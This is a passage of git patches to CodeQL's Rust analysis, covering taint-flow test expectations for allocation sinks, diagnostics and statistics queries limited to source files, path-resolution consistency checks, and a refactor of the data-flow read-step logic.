| main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:34 | +| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:36 | | main.rs:152:31:152:33 | l10 | main.rs:152:13:152:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:154:9:154:11 | l11 | main.rs:155:31:155:33 | l11 | provenance | | -| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:33 | | main.rs:154:15:154:78 | ... .unwrap() | main.rs:154:9:154:11 | l11 | provenance | | | main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:33 | +| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:35 | | main.rs:155:31:155:33 | l11 | main.rs:155:13:155:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:161:13:161:15 | l13 | main.rs:162:35:162:37 | l13 | provenance | | -| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:31 | +| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:33 | | main.rs:161:19:161:68 | ... .unwrap() | main.rs:161:13:161:15 | l13 | provenance | | | main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:162:35:162:37 | l13 | main.rs:162:17:162:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | @@ -198,7 +202,7 @@ edges | main.rs:177:31:177:32 | l1 | main.rs:177:13:177:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:183:29:183:36 | ...: usize | main.rs:192:46:192:46 | v | provenance | | | main.rs:192:9:192:10 | l2 | main.rs:193:38:193:39 | l2 | provenance | | -| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:33 | | main.rs:192:14:192:56 | ... .unwrap() | main.rs:192:9:192:10 | l2 | provenance | | | main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | | main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:10 Sink:MaD:10 | @@ -226,18 +230,18 @@ edges | main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | | main.rs:223:26:223:26 | v | main.rs:224:31:224:31 | v | provenance | | | main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:15 Sink:MaD:15 | -| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:32 | +| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:34 | | main.rs:280:9:280:17 | num_bytes | main.rs:282:54:282:62 | num_bytes | provenance | | | main.rs:280:21:280:47 | user_input.parse() [Ok] | main.rs:280:21:280:48 | TryExpr | provenance | | | main.rs:280:21:280:48 | TryExpr | main.rs:280:9:280:17 | num_bytes | provenance | | | main.rs:282:9:282:14 | layout | main.rs:284:40:284:45 | layout | provenance | | -| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:31 | +| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:33 | | main.rs:282:18:282:75 | ... .unwrap() | main.rs:282:9:282:14 | layout | provenance | | | main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | | main.rs:284:40:284:45 | layout | main.rs:284:22:284:38 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:29 | +| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:37 | +| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:31 | | main.rs:308:25:308:74 | ... .unwrap_or(...) | main.rs:279:24:279:41 | ...: String | provenance | | | main.rs:317:9:317:9 | v | main.rs:320:34:320:34 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:321:42:321:42 | v | provenance | | @@ -245,10 +249,10 @@ edges | main.rs:317:9:317:9 | v | main.rs:323:27:323:27 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:324:25:324:25 | v | provenance | | | main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:29 | -| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:32 | -| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:31 | +| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:37 | +| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:31 | +| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:34 | +| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:33 | | main.rs:317:13:317:91 | ... .unwrap() | main.rs:317:9:317:9 | v | provenance | | | main.rs:320:34:320:34 | v | main.rs:12:36:12:43 | ...: usize | provenance | | | main.rs:321:42:321:42 | v | main.rs:43:44:43:51 | ...: usize | provenance | | @@ -279,18 +283,20 @@ models | 21 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | | 22 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | | 23 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | -| 25 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | -| 26 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 27 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 28 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | -| 29 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 30 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 31 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 32 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 33 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | -| 34 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | -| 35 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue.Field[crate::alloc::layout::Layout::size]; value | +| 25 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | +| 26 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | +| 27 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 28 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 29 | Summary: lang:core; ::size; Argument[self].Field[crate::alloc::layout::Layout::size]; ReturnValue; value | +| 30 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | +| 31 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 32 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 33 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 34 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 35 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | +| 36 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | +| 37 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | nodes | main.rs:12:36:12:43 | ...: usize | semmle.label | ...: usize | | main.rs:18:13:18:31 | ...::realloc | semmle.label | ...::realloc | @@ -322,10 +328,13 @@ nodes | main.rs:33:31:33:32 | l5 | semmle.label | l5 | | main.rs:35:9:35:10 | s6 | semmle.label | s6 | | main.rs:36:9:36:10 | l6 | semmle.label | l6 | +| main.rs:36:9:36:10 | l6 [Layout.size] | semmle.label | l6 [Layout.size] | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | semmle.label | ...::from_size_align_unchecked(...) | +| main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | semmle.label | ...::from_size_align_unchecked(...) [Layout.size] | | main.rs:36:60:36:61 | s6 | semmle.label | s6 | | main.rs:37:13:37:29 | ...::alloc | semmle.label | ...::alloc | | main.rs:37:31:37:32 | l6 | semmle.label | l6 | +| main.rs:37:31:37:32 | l6 [Layout.size] | semmle.label | l6 [Layout.size] | | main.rs:39:9:39:10 | l7 | semmle.label | l7 | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | semmle.label | ...::from_size_align_unchecked(...) | | main.rs:39:60:39:68 | l6.size() | semmle.label | l6.size() | From e90ab7b8812d4637cd81965f50d06ec7eb088c4a Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 16:51:16 +0200 Subject: [PATCH 298/535] Rust: fix diagnostics tests --- .../queries/diagnostics/UnresolvedMacroCalls.ql | 2 +- rust/ql/src/queries/summary/Stats.qll | 16 ++++++++++------ .../query-tests/diagnostics/LinesOfCode.expected | 2 +- .../diagnostics/SummaryStatsReduced.expected | 2 +- 4 files changed, 13 insertions(+), 9 deletions(-) diff --git a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql index 9b04fca82f49..f4e6a73fa7ac 100644 --- a/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql +++ b/rust/ql/src/queries/diagnostics/UnresolvedMacroCalls.ql @@ -8,5 +8,5 @@ import rust from MacroCall mc -where not mc.hasMacroCallExpansion() +where mc.fromSource() and not mc.hasMacroCallExpansion() select mc, "Macro call was not resolved to a target." diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 6e9f08b17c65..2199a3ddff0b 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -28,7 +28,7 @@ private import codeql.rust.security.WeakSensitiveDataHashingExtensions /** * Gets a count of the total number of lines of code in the database. */ -int getLinesOfCode() { result = sum(File f | | f.getNumberOfLinesOfCode()) } +int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLinesOfCode()) } /** * Gets a count of the total number of lines of code from the source code directory in the database. @@ -109,9 +109,11 @@ predicate elementStats(string key, int value) { * Gets summary statistics about extraction. */ predicate extractionStats(string key, int value) { - key = "Extraction errors" and value = count(ExtractionError e) + key = "Extraction errors" and + value = count(ExtractionError e | not exists(e.getLocation()) or e.getLocation().fromSource()) or - key = "Extraction warnings" and value = count(ExtractionWarning w) + key = "Extraction warnings" and + value = count(ExtractionWarning w | not exists(w.getLocation()) or w.getLocation().fromSource()) or key = "Files extracted - total" and value = count(ExtractedFile f | exists(f.getRelativePath())) or @@ -133,11 +135,13 @@ predicate extractionStats(string key, int value) { or key = "Lines of user code extracted" and value = getLinesOfUserCode() or - key = "Macro calls - total" and value = count(MacroCall mc) + key = "Macro calls - total" and value = count(MacroCall mc | mc.fromSource()) or - key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasMacroCallExpansion()) + key = "Macro calls - resolved" and + value = count(MacroCall mc | mc.fromSource() and mc.hasMacroCallExpansion()) or - key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasMacroCallExpansion()) + key = "Macro calls - unresolved" and + value = count(MacroCall mc | mc.fromSource() and not mc.hasMacroCallExpansion()) } /** diff --git a/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected b/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected index 76e48043d0d4..5fa7b20e01bb 100644 --- a/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected +++ b/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected @@ -1 +1 @@ -| 77 | +| 60 | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected index 793ed90a482a..ed21d9772fce 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 77 | +| Lines of code extracted | 60 | | Lines of user code extracted | 60 | | Macro calls - resolved | 8 | | Macro calls - total | 9 | From 76da2e41f74672b629d9d53162a8431a2b86793c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 16:56:21 +0200 Subject: [PATCH 299/535] Rust: drop crate_graph/modules.ql test --- .../crate_graph/modules.expected | 140 ------------------ .../extractor-tests/crate_graph/modules.ql | 74 --------- 2 files changed, 214 deletions(-) delete mode 100644 rust/ql/test/extractor-tests/crate_graph/modules.expected delete mode 100644 rust/ql/test/extractor-tests/crate_graph/modules.ql diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.expected b/rust/ql/test/extractor-tests/crate_graph/modules.expected deleted file mode 100644 index 157432a77e33..000000000000 --- a/rust/ql/test/extractor-tests/crate_graph/modules.expected +++ /dev/null @@ -1,140 +0,0 @@ -#-----| Const - -#-----| Static - -#-----| enum X - -#-----| fn as_string - -#-----| fn as_string - -#-----| fn fmt - -#-----| fn from - -#-----| fn length - -#-----| impl ...::AsString for ...::X { ... } -#-----| -> fn as_string - -#-----| impl ...::Display for ...::X { ... } -#-----| -> fn fmt - -#-----| impl ...::From::<...> for ...::Thing::<...> { ... } -#-----| -> fn from - -lib.rs: -# 0| mod crate -#-----| -> mod module - -#-----| mod module -#-----| -> Const -#-----| -> Static -#-----| -> enum X -#-----| -> fn length -#-----| -> impl ...::AsString for ...::X { ... } -#-----| -> impl ...::Display for ...::X { ... } -#-----| -> impl ...::From::<...> for ...::Thing::<...> { ... } -#-----| -> struct LocalKey -#-----| -> struct Thing -#-----| -> struct X_List -#-----| -> trait AsString -#-----| -> use ...::DirBuilder -#-----| -> use ...::DirEntry -#-----| -> use ...::File -#-----| -> use ...::FileTimes -#-----| -> use ...::FileType -#-----| -> use ...::Metadata -#-----| -> use ...::OpenOptions -#-----| -> use ...::PathBuf -#-----| -> use ...::Permissions -#-----| -> use ...::ReadDir -#-----| -> use ...::canonicalize -#-----| -> use ...::copy -#-----| -> use ...::create_dir -#-----| -> use ...::create_dir as mkdir -#-----| -> use ...::create_dir_all -#-----| -> use ...::exists -#-----| -> use ...::hard_link -#-----| -> use ...::metadata -#-----| -> use ...::read -#-----| -> use ...::read_dir -#-----| -> use ...::read_link -#-----| -> use ...::read_to_string -#-----| -> use ...::remove_dir -#-----| -> use ...::remove_dir_all -#-----| -> use ...::remove_file -#-----| -> use ...::rename -#-----| -> use ...::set_permissions -#-----| -> use ...::soft_link -#-----| -> use ...::symlink_metadata -#-----| -> use ...::write - -#-----| struct LocalKey - -#-----| struct Thing - -#-----| struct X_List - -#-----| trait AsString -#-----| -> fn as_string - -#-----| use ...::DirBuilder - -#-----| use ...::DirEntry - -#-----| use ...::File - -#-----| use ...::FileTimes - -#-----| use ...::FileType - -#-----| use ...::Metadata - -#-----| use ...::OpenOptions - -#-----| use ...::PathBuf - -#-----| use ...::Permissions - -#-----| use ...::ReadDir - -#-----| use ...::canonicalize - -#-----| use ...::copy - -#-----| use ...::create_dir - -#-----| use ...::create_dir as mkdir - -#-----| use ...::create_dir_all - -#-----| use ...::exists - -#-----| use ...::hard_link - -#-----| use ...::metadata - -#-----| use ...::read - -#-----| use ...::read_dir - -#-----| use ...::read_link - -#-----| use ...::read_to_string - -#-----| use ...::remove_dir - -#-----| use ...::remove_dir_all - -#-----| use ...::remove_file - -#-----| use ...::rename - -#-----| use ...::set_permissions - -#-----| use ...::soft_link - -#-----| use ...::symlink_metadata - -#-----| use ...::write diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.ql b/rust/ql/test/extractor-tests/crate_graph/modules.ql deleted file mode 100644 index b9db8f9b1e30..000000000000 --- a/rust/ql/test/extractor-tests/crate_graph/modules.ql +++ /dev/null @@ -1,74 +0,0 @@ -/** - * @id module-graph - * @name Module and Item Graph - * @kind graph - */ - -import rust -import codeql.rust.internal.PathResolution - -predicate nodes(Item i) { i instanceof RelevantNode } - -class RelevantNode extends Element instanceof ItemNode { - RelevantNode() { - this.(ItemNode).getImmediateParentModule*() = - any(Crate m | m.getName() = "test" and m.getVersion() = "0.0.1") - .(CrateItemNode) - .getModuleNode() - } - - string label() { result = this.toString() } -} - -class HasGenericParams extends RelevantNode { - private GenericParamList params; - - HasGenericParams() { - params = this.(Function).getGenericParamList() or - params = this.(Enum).getGenericParamList() or - params = this.(Struct).getGenericParamList() or - params = this.(Union).getGenericParamList() or - params = this.(Impl).getGenericParamList() or - params = this.(Trait).getGenericParamList() // or - //params = this.(TraitAlias).getGenericParamList() - } - - override string label() { - result = - super.toString() + "<" + - strictconcat(string part, int index | - part = params.getGenericParam(index).toString() - | - part, ", " order by index - ) + ">" - } -} - -predicate edges(RelevantNode container, RelevantNode element) { - element = container.(Module).getItemList().getAnItem() or - element = container.(Impl).getAssocItemList().getAnAssocItem() or - element = container.(Trait).getAssocItemList().getAnAssocItem() -} - -query predicate nodes(RelevantNode node, string attr, string val) { - nodes(node) and - ( - attr = "semmle.label" and - val = node.label() - or - attr = "semmle.order" and - val = - any(int i | node = rank[i](RelevantNode n | nodes(n) | n order by n.toString())).toString() - ) -} - -query predicate edges(RelevantNode pred, RelevantNode succ, string attr, string val) { - edges(pred, succ) and - ( - attr = "semmle.label" and - val = "" - or - attr = "semmle.order" and - val = any(int i | succ = rank[i](Item s | edges(pred, s) | s order by s.toString())).toString() - ) -} From 81f0e4202af3c8e76d65584074faa70fe7853642 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 17:21:21 +0200 Subject: [PATCH 300/535] Rust: improve ExtractionConsistency.ql --- rust/ql/consistency-queries/ExtractionConsistency.ql | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/rust/ql/consistency-queries/ExtractionConsistency.ql b/rust/ql/consistency-queries/ExtractionConsistency.ql index 8b1f0adca949..c6e9bcdc2cb7 100644 --- a/rust/ql/consistency-queries/ExtractionConsistency.ql +++ b/rust/ql/consistency-queries/ExtractionConsistency.ql @@ -7,6 +7,10 @@ import codeql.rust.Diagnostics -query predicate extractionError(ExtractionError ee) { any() } +query predicate extractionError(ExtractionError ee) { + not exists(ee.getLocation()) or ee.getLocation().fromSource() +} -query predicate extractionWarning(ExtractionWarning ew) { any() } +query predicate extractionWarning(ExtractionWarning ew) { + not exists(ew.getLocation()) or ew.getLocation().fromSource() +} From f093c496d58ea4212ea0a9151b9e67c9bdb20bed Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 22:28:55 +0200 Subject: [PATCH 301/535] Rust: normalize file paths for PathResolutionConsistency.ql --- .../PathResolutionConsistency.ql | 23 +++++++++++++++- .../PathResolutionConsistency.expected | 3 +++ .../PathResolutionConsistency.expected | 27 +++++++++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) create mode 100644 rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/consistency-queries/PathResolutionConsistency.ql b/rust/ql/consistency-queries/PathResolutionConsistency.ql index 368b2c1e559a..88f5f4aa1752 100644 --- a/rust/ql/consistency-queries/PathResolutionConsistency.ql +++ b/rust/ql/consistency-queries/PathResolutionConsistency.ql @@ -5,4 +5,25 @@ * @id rust/diagnostics/path-resolution-consistency */ -import codeql.rust.internal.PathResolutionConsistency +private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency +private import codeql.rust.elements.Locatable +private import codeql.Locations +import PathResolutionConsistency + +class SourceLocatable instanceof Locatable { + string toString() { result = super.toString() } + + Location getLocation() { + if super.getLocation().fromSource() + then result = super.getLocation() + else result instanceof EmptyLocation + } +} + +query predicate multipleMethodCallTargets(SourceLocatable a, SourceLocatable b) { + PathResolutionConsistency::multipleMethodCallTargets(a, b) +} + +query predicate multiplePathResolutions(SourceLocatable a, SourceLocatable b) { + PathResolutionConsistency::multiplePathResolutions(a, b) +} diff --git a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected index e69de29bb2d1..cdd925c7ad1e 100644 --- a/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/library-tests/dataflow/sources/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,3 @@ +multipleMethodCallTargets +| web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | +| web_frameworks.rs:194:30:194:74 | ... .get(...) | file://:0:0:0:0 | fn get | diff --git a/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..5fb57b10c01f --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-696/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,27 @@ +multiplePathResolutions +| test.rs:50:3:50:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:50:3:50:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:55:3:55:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:55:3:55:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:60:3:60:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:60:3:60:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:65:3:65:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:65:3:65:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:73:3:73:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:73:3:73:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:78:3:78:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:78:3:78:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:87:3:87:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:87:3:87:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:94:3:94:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:94:3:94:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:128:3:128:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:128:3:128:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:139:3:139:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:139:3:139:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:144:3:144:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:144:3:144:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:150:3:150:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:150:3:150:6 | ctor | file://:0:0:0:0 | fn ctor | +| test.rs:168:3:168:6 | ctor | file://:0:0:0:0 | Crate(ctor@0.2.9) | +| test.rs:168:3:168:6 | ctor | file://:0:0:0:0 | fn ctor | From 9ee0d2e6cf13af6ac84b33b658561605c60239ea Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 21 May 2025 11:04:53 +0200 Subject: [PATCH 302/535] Rust: Exclude flow summary nodes from `DataFlowStep.ql` --- .../PathResolutionConsistency.ql | 4 +- .../rust/dataflow/internal/DataFlowImpl.qll | 178 +- .../dataflow/local/DataFlowStep.expected | 4256 +---------------- .../dataflow/local/DataFlowStep.ql | 26 +- 4 files changed, 318 insertions(+), 4146 deletions(-) diff --git a/rust/ql/consistency-queries/PathResolutionConsistency.ql b/rust/ql/consistency-queries/PathResolutionConsistency.ql index 88f5f4aa1752..555b8239996a 100644 --- a/rust/ql/consistency-queries/PathResolutionConsistency.ql +++ b/rust/ql/consistency-queries/PathResolutionConsistency.ql @@ -10,9 +10,7 @@ private import codeql.rust.elements.Locatable private import codeql.Locations import PathResolutionConsistency -class SourceLocatable instanceof Locatable { - string toString() { result = super.toString() } - +class SourceLocatable extends Locatable { Location getLocation() { if super.getLocation().fromSource() then result = super.getLocation() diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index 8aa6c921eefc..d0f7378bd3a1 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -523,97 +523,103 @@ module RustDataFlow implements InputSig { exists(c) } + pragma[nomagic] + additional predicate readContentStep(Node node1, Content c, Node node2) { + exists(TupleStructPatCfgNode pat, int pos | + pat = node1.asPat() and + node2.asPat() = pat.getField(pos) and + c = TTupleFieldContent(pat.getTupleStructPat().getTupleField(pos)) + ) + or + exists(TuplePatCfgNode pat, int pos | + pos = c.(TuplePositionContent).getPosition() and + node1.asPat() = pat and + node2.asPat() = pat.getField(pos) + ) + or + exists(StructPatCfgNode pat, string field | + pat = node1.asPat() and + c = TStructFieldContent(pat.getStructPat().getStructField(field)) and + node2.asPat() = pat.getFieldPat(field) + ) + or + c instanceof ReferenceContent and + node1.asPat().(RefPatCfgNode).getPat() = node2.asPat() + or + exists(FieldExprCfgNode access | + node1.asExpr() = access.getContainer() and + node2.asExpr() = access and + access = c.(FieldContent).getAnAccess() + ) + or + exists(IndexExprCfgNode arr | + c instanceof ElementContent and + node1.asExpr() = arr.getBase() and + node2.asExpr() = arr + ) + or + exists(ForExprCfgNode for | + c instanceof ElementContent and + node1.asExpr() = for.getIterable() and + node2.asPat() = for.getPat() + ) + or + exists(SlicePatCfgNode pat | + c instanceof ElementContent and + node1.asPat() = pat and + node2.asPat() = pat.getAPat() + ) + or + exists(TryExprCfgNode try | + node1.asExpr() = try.getExpr() and + node2.asExpr() = try and + c.(TupleFieldContent) + .isVariantField([any(OptionEnum o).getSome(), any(ResultEnum r).getOk()], 0) + ) + or + exists(PrefixExprCfgNode deref | + c instanceof ReferenceContent and + deref.getOperatorName() = "*" and + node1.asExpr() = deref.getExpr() and + node2.asExpr() = deref + ) + or + // Read from function return + exists(DataFlowCall call | + lambdaCall(call, _, node1) and + call = node2.(OutNode).getCall(TNormalReturnKind()) and + c instanceof FunctionCallReturnContent + ) + or + exists(AwaitExprCfgNode await | + c instanceof FutureContent and + node1.asExpr() = await.getExpr() and + node2.asExpr() = await + ) + or + referenceExprToExpr(node2.(PostUpdateNode).getPreUpdateNode(), + node1.(PostUpdateNode).getPreUpdateNode(), c) + or + // Step from receiver expression to receiver node, in case of an implicit + // dereference. + implicitDerefToReceiver(node1, node2, c) + or + // A read step dual to the store step for implicit borrows. + implicitBorrowToReceiver(node2.(PostUpdateNode).getPreUpdateNode(), + node1.(PostUpdateNode).getPreUpdateNode(), c) + or + VariableCapture::readStep(node1, c, node2) + } + /** * Holds if data can flow from `node1` to `node2` via a read of `c`. Thus, * `node1` references an object with a content 